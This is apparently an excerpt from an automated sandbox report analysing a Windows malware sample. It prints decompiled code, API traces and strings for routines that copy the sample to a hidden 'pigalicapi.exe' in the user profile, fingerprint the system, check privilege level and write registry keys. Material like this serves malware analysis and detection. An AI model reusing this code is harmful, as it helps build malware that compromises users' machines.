				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 > 0) {
					E04007D20( &_v56,  &_v56, 0, 0x29);
					_t189 = _t188 + 0xc;
					InitializeCriticalSection( &_v44);
					_v16 = _a24;
					_v20 = CreateEventA(0, 1, 0, 0);
					asm("cdq");
					_v12 = _a8 / _a20;
					_v60 = 0;
					while(_v60 < _a16) {
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000);
							_v52 = 0;
							_v48 = 0;
						}
						_t198 = _v56;
						if(_v56 != 0) {
							TerminateThread(_v56, 0);
							_v56 = 0;
						}
						ResetEvent(_v20);
						LeaveCriticalSection( &_v44);
						_t114 = CreateThread(0, 0, E04004AC0,  &_v56, 0, 0); // executed
						_v56 = _t114;
						_v104 = E040097A0( ~(0 | _t198 > 0x00000000) | _a20 * 0x00000004);
						_v64 = _v104;
						E04007D20(_v104, _v64, 0, _a20 << 2);
						_t191 = _t189 + 0x10;
						_v100 = 0;
						while(_v100 < _a20) {
							_v64[_v100] = 0;
							E04007D20(_v64,  &_v92, 0, 0x1c);
							_t191 = _t191 + 0xc;
							_v68 =  &_v56;
							_v72 = _a12;
							_v92 = _a4;
							_v84 = _v100 * _v12;
							if(_v100 >= _a20 - 1) {
								_v80 = _a8 - 1;
							} else {
								_v80 = _v84 + _v12 - 1;
							}
							_v76 = CreateEventA(0, 1, 0, 0);
							_t141 = CreateThread(0, 0, E04004BA0,  &_v92, 0, 0); // executed
							_v64[_v100] = _t141;
							WaitForSingleObject(_v76, 0xffffffff);
							FindCloseChangeNotification(_v76); // executed
							_v100 = _v100 + 1;
						}
						WaitForMultipleObjects(_a20, _v64, 1, 0xffffffff);
						_v96 = WaitForSingleObject(_v20, 0x2710);
						if(_v96 == 0) {
							_v5 = 1;
						}
						_v96 = WaitForSingleObject(_v56, 0x3e8);
						if(_v96 != 0) {
							TerminateThread(_v56, 0);
						}
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000); // executed
							_v52 = 0;
							_v48 = 0;
						}
						LeaveCriticalSection( &_v44);
						_v108 = _v64;
						E040097C0(_v108);
						_t189 = _t191 + 4;
						if((_v5 & 0x000000ff) == 0) {
							_v60 = _v60 + 1;
							continue;
						} else {
						}
						break;
					}
					DeleteCriticalSection( &_v44);
				}
				return _v5;
			}

0x04004026
0x0400402e
0x0400405a
0x0400405f
0x04004066
0x0400406f
0x04004080
0x04004086
0x0400408a
0x0400408d
0x0400409f
0x040040af
0x040040b9
0x040040c6
0x040040cc
0x040040d3
0x040040d3
0x040040da
0x040040de
0x040040e6
0x040040ec
0x040040ec
0x040040f7
0x04004101
0x04004118
0x0400411e
0x0400413d
0x04004143
0x04004153
0x04004158
0x0400415b
0x0400416d
0x0400417f
0x0400418e
0x04004193
0x04004199
0x0400419f
0x040041a5
0x040041af
0x040041bb
0x040041d2
0x040041bd
0x040041c7
0x040041c7
0x040041e3
0x040041f7
0x04004203
0x0400420c
0x04004216
0x0400416a
0x0400416a
0x0400422d
0x04004242
0x04004249
0x0400424b
0x0400424b
0x0400425e
0x04004265
0x0400426d
0x0400426d
0x04004277
0x04004281
0x0400428e
0x04004294
0x0400429b
0x0400429b
0x040042a6
0x040042af
0x040042b6
0x040042bb
0x040042c4
0x0400409c
0x00000000
0x00000000
0x040042c6
0x00000000
0x040042c4
0x040042d1
0x040042d1
0x040042dd

APIs

InitializeCriticalSection.KERNEL32(?), ref: 04004066
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 0400422D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0400423C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 04004258
TerminateThread.KERNEL32(00000000,00000000), ref: 0400426D
EnterCriticalSection.KERNEL32(?), ref: 04004277
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400428E
LeaveCriticalSection.KERNEL32(?), ref: 040042A6
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CriticalSection$CreateThreadWait$EventObjectSingle$EnterFreeLeaveTerminateVirtual$ChangeCloseDeleteFindInitializeMultipleNotificationObjectsReset
String ID:
API String ID: 1593741596-0
Opcode ID: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction ID: 8bdf0d2272c993105e18f632bfcb20d3462f1ee8570acd5c3bdc395bff94e74a
Opcode Fuzzy Hash: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction Fuzzy Hash: 6A910D74A04208AFEB14DFA4D849BDDBBB5FB48705F108219FA05BB2C0D778A984CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04005700 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 148
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04005700(CHAR* _a4) {
				char _v5;
				char _v24;
				long _v28;
				void* _v32;
				char _v556;
				long _v560;
				void* _v564;
				long _v568;
				intOrPtr _t59;
				void* _t67;
				void* _t71;

				_v5 = 0;
				if(_a4 != 0) {
					E04008F80(_a4, 0x100, _a4 + 0x437); // executed
					GetModuleFileNameA(0, _a4 + 0x100, 0x104);
					E04001CA0(_a4 + 0x204, 0x104); // executed
					E04009D20( &_v24, _a4 + 0x40c, 0x27); // executed
					E04007B70(_a4 + 0x45b,  &_v24, 0x10);
					_t59 = E04005CD0(_a4 + 0x100); // executed
					 *((intOrPtr*)(_a4 + 0x433)) = _t59;
					lstrcpyA(_a4 + 0x43b, "pigalicapi");
					E04007D20( &_v556,  &_v556, 0, 0x208);
					_v28 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v556, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v556,  &_v28);
					}
					wnsprintfA(_a4 + 0x308, 0x104, "%s\\%s.exe",  &_v556, "pigalicapi");
					_t67 = CreateFileA(_a4 + 0x100, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v32 = _t67;
					if(_v32 != 0xffffffff) {
						_v560 = GetFileSize(_v32, 0);
						if(_v560 > 0) {
							_t71 = VirtualAlloc(0, _v560, 0x3000, 4); // executed
							_v564 = _t71;
							if(_v564 != 0) {
								_v568 = 0;
								ReadFile(_v32, _v564, _v560,  &_v568, 0); // executed
								if(_v568 != _v560) {
									VirtualFree(_v564, 0, 0x8000);
								} else {
									 *(_a4 + 0x453) = _v560;
									 *(_a4 + 0x457) = _v564;
								}
							}
						}
						CloseHandle(_v32);
					}
					_v5 = 1;
				}
				return _v5;
			}

0x04005709
0x04005711
0x04005729
0x04005742
0x04005756
0x0400576e
0x04005786
0x04005798
0x040057a3
0x040057b8
0x040057cc
0x040057d4
0x040057e4
0x0400580a
0x040057e6
0x040057f1
0x040057f1
0x0400582f
0x04005854
0x0400585a
0x04005861
0x04005873
0x04005880
0x04005896
0x0400589c
0x040058a9
0x040058ab
0x040058d0
0x040058e2
0x04005912
0x040058e4
0x040058ed
0x040058fc
0x040058fc
0x040058e2
0x040058a9
0x0400591c
0x0400591c
0x04005922
0x04005922
0x0400592c

APIs

Part of subcall function 04008F80: GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
Part of subcall function 04008F80: GetSystemInfo.KERNEL32(?), ref: 04009009
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
Part of subcall function 04008F80: lstrlenA.KERNEL32(?), ref: 0400922F
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,?), ref: 04009253
Part of subcall function 04008F80: lstrlenA.KERNEL32(00000000), ref: 0400925D
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742

Part of subcall function 04001CA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
Part of subcall function 04001CA0: GetCurrentProcessId.KERNEL32 ref: 04001CEE
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
Part of subcall function 04001CA0: lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
Part of subcall function 04001CA0: lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
Part of subcall function 04001CA0: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
Part of subcall function 04001CA0: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
Part of subcall function 04001CA0: GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
Part of subcall function 04001CA0: FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Part of subcall function 04001CA0: CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Part of subcall function 04009D20: GetSystemDirectoryA.KERNEL32 ref: 04009D9A
Part of subcall function 04009D20: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD
Part of subcall function 04009D20: StringFromCLSID.OLE32(00000020,?), ref: 04009EF7

Part of subcall function 04005CD0: lstrlenA.KERNEL32(00000000), ref: 04005CEB
Part of subcall function 04005CD0: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
Part of subcall function 04005CD0: GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
Part of subcall function 04005CD0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
Part of subcall function 04005CD0: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
Part of subcall function 04005CD0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
Part of subcall function 04005CD0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000207), ref: 0400580A
wnsprintfA.SHLWAPI ref: 0400582F
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005896
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040058D0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04005912
CloseHandle.KERNEL32(000000FF), ref: 0400591C

Strings

pigalicapi, xrefs: 040057A9, 04005810
%s\%s.exe, xrefs: 0400581C
USERPROFILE, xrefs: 04005805

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: File$lstrcat$CloseVirtuallstrlen$CreateProcess$AllocChangeDirectoryFindFirstFreeHandleModuleNameNotificationProcess32ReadSizeSystemlstrcpy$CurrentEnumEnvironmentFromInfoInformationModulesOpenProfileSnapshotStringToolhelp32UsersVariableVersionVolumewnsprintf
String ID: %s\%s.exe$USERPROFILE$pigalicapi
API String ID: 560841407-4090404022
Opcode ID: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction ID: 5a1df65dd39d11d2feffdc598e8508d5089156913625d6b4e9fa29ff03a3d0d3
Opcode Fuzzy Hash: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction Fuzzy Hash: 66515FB4944208BBFB14DF60DC59FEA7774EB44709F048168FA097A2C1D778AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04001120 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 116
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E04001120(CHAR* _a4, CHAR* _a8, signed int _a12, signed char _a16, void** _a20) {
				struct _SECURITY_ATTRIBUTES* _v8;
				long _v12;
				void* _v16;
				char _v284;
				void* _v288;
				char _v556;
				void* _v560;
				void* _v564;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && lstrlenA(_a4) != 0 && lstrlenA(_a8) != 0) {
					_v12 = 0x104;
					if((_a12 & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v284, 0x104);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v284,  &_v12);
					}
					wnsprintfA( &_v556, 0x103, "%s\\%s.exe",  &_v284, _a8);
					if(lstrcmpiA(_a4,  &_v556) != 0 && (_a16 & 0x000000ff) == 0) {
						CopyFileA(_a4,  &_v556, 0); // executed
						SetFileAttributesA( &_v556, 6); // executed
						lstrcpyA(_a4,  &_v556);
					}
					_v560 = E040097A0(0x30d);
					_v16 = _v560;
					 *((char*)(_v16 + 0x30c)) = _a12;
					lstrcpyA(_v16,  &_v556);
					lstrcpyA(_v16 + 0x208, _a8);
					_t58 = CreateThread(0, 0, E040012D0, _v16, 0, 0); // executed
					_v288 = _t58;
					if(_v288 == 0) {
						_v564 = _v16;
						E040097C0(_v564);
					} else {
						if(_a20 != 0) {
							 *_a20 = _v288;
						}
						_v8 = 1;
					}
				}
				return _v8;
			}

0x04001129
0x04001134
0x04001168
0x04001175
0x0400119b
0x04001177
0x04001182
0x04001182
0x040011bd
0x040011d9
0x040011f0
0x040011ff
0x04001210
0x04001210
0x04001223
0x0400122f
0x04001238
0x04001249
0x0400125d
0x04001274
0x0400127a
0x04001287
0x040012a6
0x040012b3
0x04001289
0x0400128d
0x04001298
0x04001298
0x0400129a
0x0400129a
0x04001287
0x040012c1

APIs

lstrlenA.KERNEL32(00000000), ref: 04001148
lstrlenA.KERNEL32(00000000), ref: 0400115A
GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182

Part of subcall function 040097C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
Part of subcall function 040097C0: HeapFree.KERNEL32(00000000), ref: 040097D6

GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000104), ref: 0400119B
wnsprintfA.SHLWAPI ref: 040011BD
lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
lstrcpyA.KERNEL32(00000104,?), ref: 04001210
lstrcpyA.KERNEL32(00000000,?), ref: 04001249
lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
CreateThread.KERNEL32 ref: 04001274

Strings

%s\%s.exe, xrefs: 040011AC
USERPROFILE, xrefs: 04001196

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateDirectoryEnvironmentFreeProcessProfileThreadUsersVariablelstrcmpiwnsprintf
String ID: %s\%s.exe$USERPROFILE
API String ID: 1231128424-1744756051
Opcode ID: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction ID: 5a94151192094d4d6073c3e413aca9132142fa07401a96dcdce05a8263d9ef35
Opcode Fuzzy Hash: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction Fuzzy Hash: 2A413675904208ABEB54CFA4D889BDE77B4EF48704F00C295F509AA281D779EA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040099F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E040099F0() {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v1044;
				char _v2068;
				long _v2072;
				void* _v2076;
				void* _v2080;
				char _v2084;
				int _t43;

				_v9 = 0;
				_v8 = 0x400;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v16) == 0) {
					L12:
					return _v9;
				}
				_v2072 = 0;
				GetTokenInformation(_v16, 1, 0, 0,  &_v2072); // executed
				if(_v2072 >= 0x400) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v2076 =  &_v1044;
				_t43 = GetTokenInformation(_v16, 1, _v2076, _v2072,  &_v2072); // executed
				if(_t43 == 0) {
					goto L11;
				}
				_v2080 =  &_v2068;
				_v2084 = 0x44;
				__imp__CreateWellKnownSid(0xc, 0, _v2080,  &_v2084);
				if(EqualSid(_v2080,  *_v2076) == 0) {
					__imp__CreateWellKnownSid(0x16, 0, _v2080,  &_v2084);
					if(EqualSid(_v2080,  *_v2076) == 0) {
						__imp__CreateWellKnownSid(0x17, 0, _v2080,  &_v2084);
						if(EqualSid(_v2080,  *_v2076) == 0) {
							__imp__CreateWellKnownSid(0x18, 0, _v2080,  &_v2084);
							if(EqualSid(_v2080,  *_v2076) == 0) {
								goto L11;
							}
							return 1;
						}
						return 1;
					}
					return 1;
				}
				return 1;
			}

0x040099f9
0x040099fd
0x04009a19
0x04009b80
0x00000000
0x04009b80
0x04009a1f
0x04009a3a
0x04009a4a
0x04009b76
0x04009b7a
0x00000000
0x04009b7a
0x04009a56
0x04009a77
0x04009a7f
0x00000000
0x00000000
0x04009a8b
0x04009a91
0x04009aad
0x04009acb
0x04009ae6
0x04009b04
0x04009b1c
0x04009b3a
0x04009b52
0x04009b70
0x00000000
0x00000000
0x00000000
0x04009b72
0x00000000
0x04009b3c
0x00000000
0x04009b06
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
EqualSid.ADVAPI32(?,00000000), ref: 04009AC3
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 04009AE6
EqualSid.ADVAPI32(?), ref: 04009AFC
CloseHandle.KERNEL32(?), ref: 04009B7A

Strings

D, xrefs: 04009A91

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction ID: 7ae4063a6f13a9051a7762c6ae15c07f15253da6e1139fe1377935b2c4657608
Opcode Fuzzy Hash: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction Fuzzy Hash: AB41F0B5A042189BEB24DF90CC45FDAB3FDFF48700F04C1E4A549A6181DE74AA81DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04005A00 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 99
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04005A00(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				void* _t27;
				void* _t33;
				CHAR* _t35;
				int _t39;
				long _t43;
				CHAR* _t51;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0x10) {
					E04007D20(_t27, "Sscculmqcxgnq", 0, 0xe);
					lstrcpyA("Sscculmqcxgnq", "WDefault");
					_t33 = E04005930(_a4 + 0x45b, "Sscculmqcxgnq", 0xd); // executed
					E04007D20(_t33, _a8, 0, _a12);
					_t35 =  *0x401189c; // 0x400c4e0
					if(lstrlenA(_t35) < _a12) {
						_t51 =  *0x401189c; // 0x400c4e0
						lstrcpyA(_a8, _t51);
						_t39 = lstrlenA(_a8);
						if(_t39 + lstrlenA(?str?) < _a12) {
							lstrcatA(_a8, "Sscculmqcxgnq");
							_v12 = 0x80000001;
							_v16 = 0;
							_v20 = 0;
							_t43 = RegCreateKeyExA(_v12, _a8, 0, 0, 0, 0x20006, 0,  &_v16,  &_v20); // executed
							if(_t43 != 0) {
								E04007D20(_t43, _a8, 0, _a12);
								lstrcpyA(_a8, "software\\microsoft\\windows\\currentversion\\uninstall");
							} else {
								RegCloseKey(_v16); // executed
							}
							_v8 = lstrlenA(_a8);
						}
					}
				}
				return _v8;
			}

0x04005a07
0x04005a12
0x04005a35
0x04005a47
0x04005a5d
0x04005a6f
0x04005a77
0x04005a86
0x04005a8c
0x04005a97
0x04005aa1
0x04005ab9
0x04005ac8
0x04005ace
0x04005ad5
0x04005adc
0x04005b00
0x04005b08
0x04005b20
0x04005b31
0x04005b0a
0x04005b0e
0x04005b0e
0x04005b41
0x04005b41
0x04005ab9
0x04005a86
0x04005b4b

APIs

lstrcpyA.KERNEL32(Sscculmqcxgnq,WDefault), ref: 04005A47

Part of subcall function 04005930: CharUpperA.USER32(00000000), ref: 040059E2

lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
lstrlenA.KERNEL32(00000000), ref: 04005AA1
lstrlenA.KERNEL32(Sscculmqcxgnq), ref: 04005AAE
lstrcatA.KERNEL32(00000000,Sscculmqcxgnq), ref: 04005AC8
RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
RegCloseKey.KERNEL32(00000000), ref: 04005B0E
lstrcpyA.KERNEL32(00000000,software\microsoft\windows\currentversion\uninstall), ref: 04005B31
lstrlenA.KERNEL32(00000000), ref: 04005B3B

Strings

WDefault, xrefs: 04005A3D
software\microsoft\windows\currentversion\uninstall, xrefs: 04005B28
Sscculmqcxgnq, xrefs: 04005A30, 04005A42, 04005A4F, 04005AA9, 04005ABF

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID: Sscculmqcxgnq$WDefault$software\microsoft\windows\currentversion\uninstall
API String ID: 4161867159-2182964826
Opcode ID: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction ID: 2f1465acc8a4d9a659e2af8a658b36752d7f83b1b7b92a7dc582af9786930c23
Opcode Fuzzy Hash: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction Fuzzy Hash: 40310775600208FBEB14DFA4DC49FAA37B9EB44708F04C615FA15BB281D7B8AA50CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04005F30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005F30() {
				char* _v8;
				signed int _v9;
				void* _v16;
				void* _v20;
				char _v284;
				int _v288;
				int _v292;
				char _v324;
				int _v328;
				char* _t27;
				CHAR* _t30;
				long _t37;

				_v9 = 0;
				_t27 =  *0x40118a0; // 0x4013b88
				_v8 = _t27;
				E04007D20(_t27,  &_v284, 0, 0x104);
				lstrcpyA( &_v284, "pigalicapi");
				_t30 =  *0x4011898; // 0x4013fe2
				lstrcatA( &_v284, _t30);
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				if(RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20) == 0) {
					_v292 = 0x20;
					_v288 = 0x20;
					_t37 = RegQueryValueExA(_v20,  &_v284, 0, 0,  &_v324,  &_v288); // executed
					if(_t37 == 0) {
						_v9 = 1;
					}
					_t47 = _v9 & 0x000000ff;
					if((_v9 & 0x000000ff) == 0) {
						_v328 = 0x10;
						E04009BD0(_t47,  &_v324, 0x10);
						RegSetValueExA(_v20,  &_v284, 0, 3,  &_v324, 0x10); // executed
					}
					RegCloseKey(_v20);
				}
				return _v9;
			}

0x04005f39
0x04005f3d
0x04005f42
0x04005f53
0x04005f67
0x04005f6d
0x04005f7a
0x04005f80
0x04005f90
0x04005f92
0x04005f92
0x04005f99
0x04005fbb
0x04005fc1
0x04005fcb
0x04005ff2
0x04005ffa
0x04005ffc
0x04005ffc
0x04006000
0x04006006
0x04006008
0x0400601b
0x0400603b
0x0400603b
0x04006045
0x04006045
0x04006051

APIs

lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
RegOpenKeyExA.ADVAPI32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
RegCloseKey.ADVAPI32(00000000), ref: 04006045

Strings

pigalicapi, xrefs: 04005F5B
, xrefs: 04005FCB
, xrefs: 04005FC1

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $ $pigalicapi
API String ID: 764223185-550099112
Opcode ID: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction ID: d868066335aa3bc34e1d01a835705104c70e08da6b50357c6a08ba3ec109f492
Opcode Fuzzy Hash: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction Fuzzy Hash: 6F3143B194021CABEB14CF90DC45FFEB7B8EB08704F048598EB04B6181D7B96A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04004096 Relevance: 15.1, APIs: 10, Instructions: 121
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004096() {
				void _t92;
				void* _t114;
				void* _t161;
				void* _t163;
				void* _t166;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t161 - 0x38)) =  *((intOrPtr*)(_t161 - 0x38)) + 1;
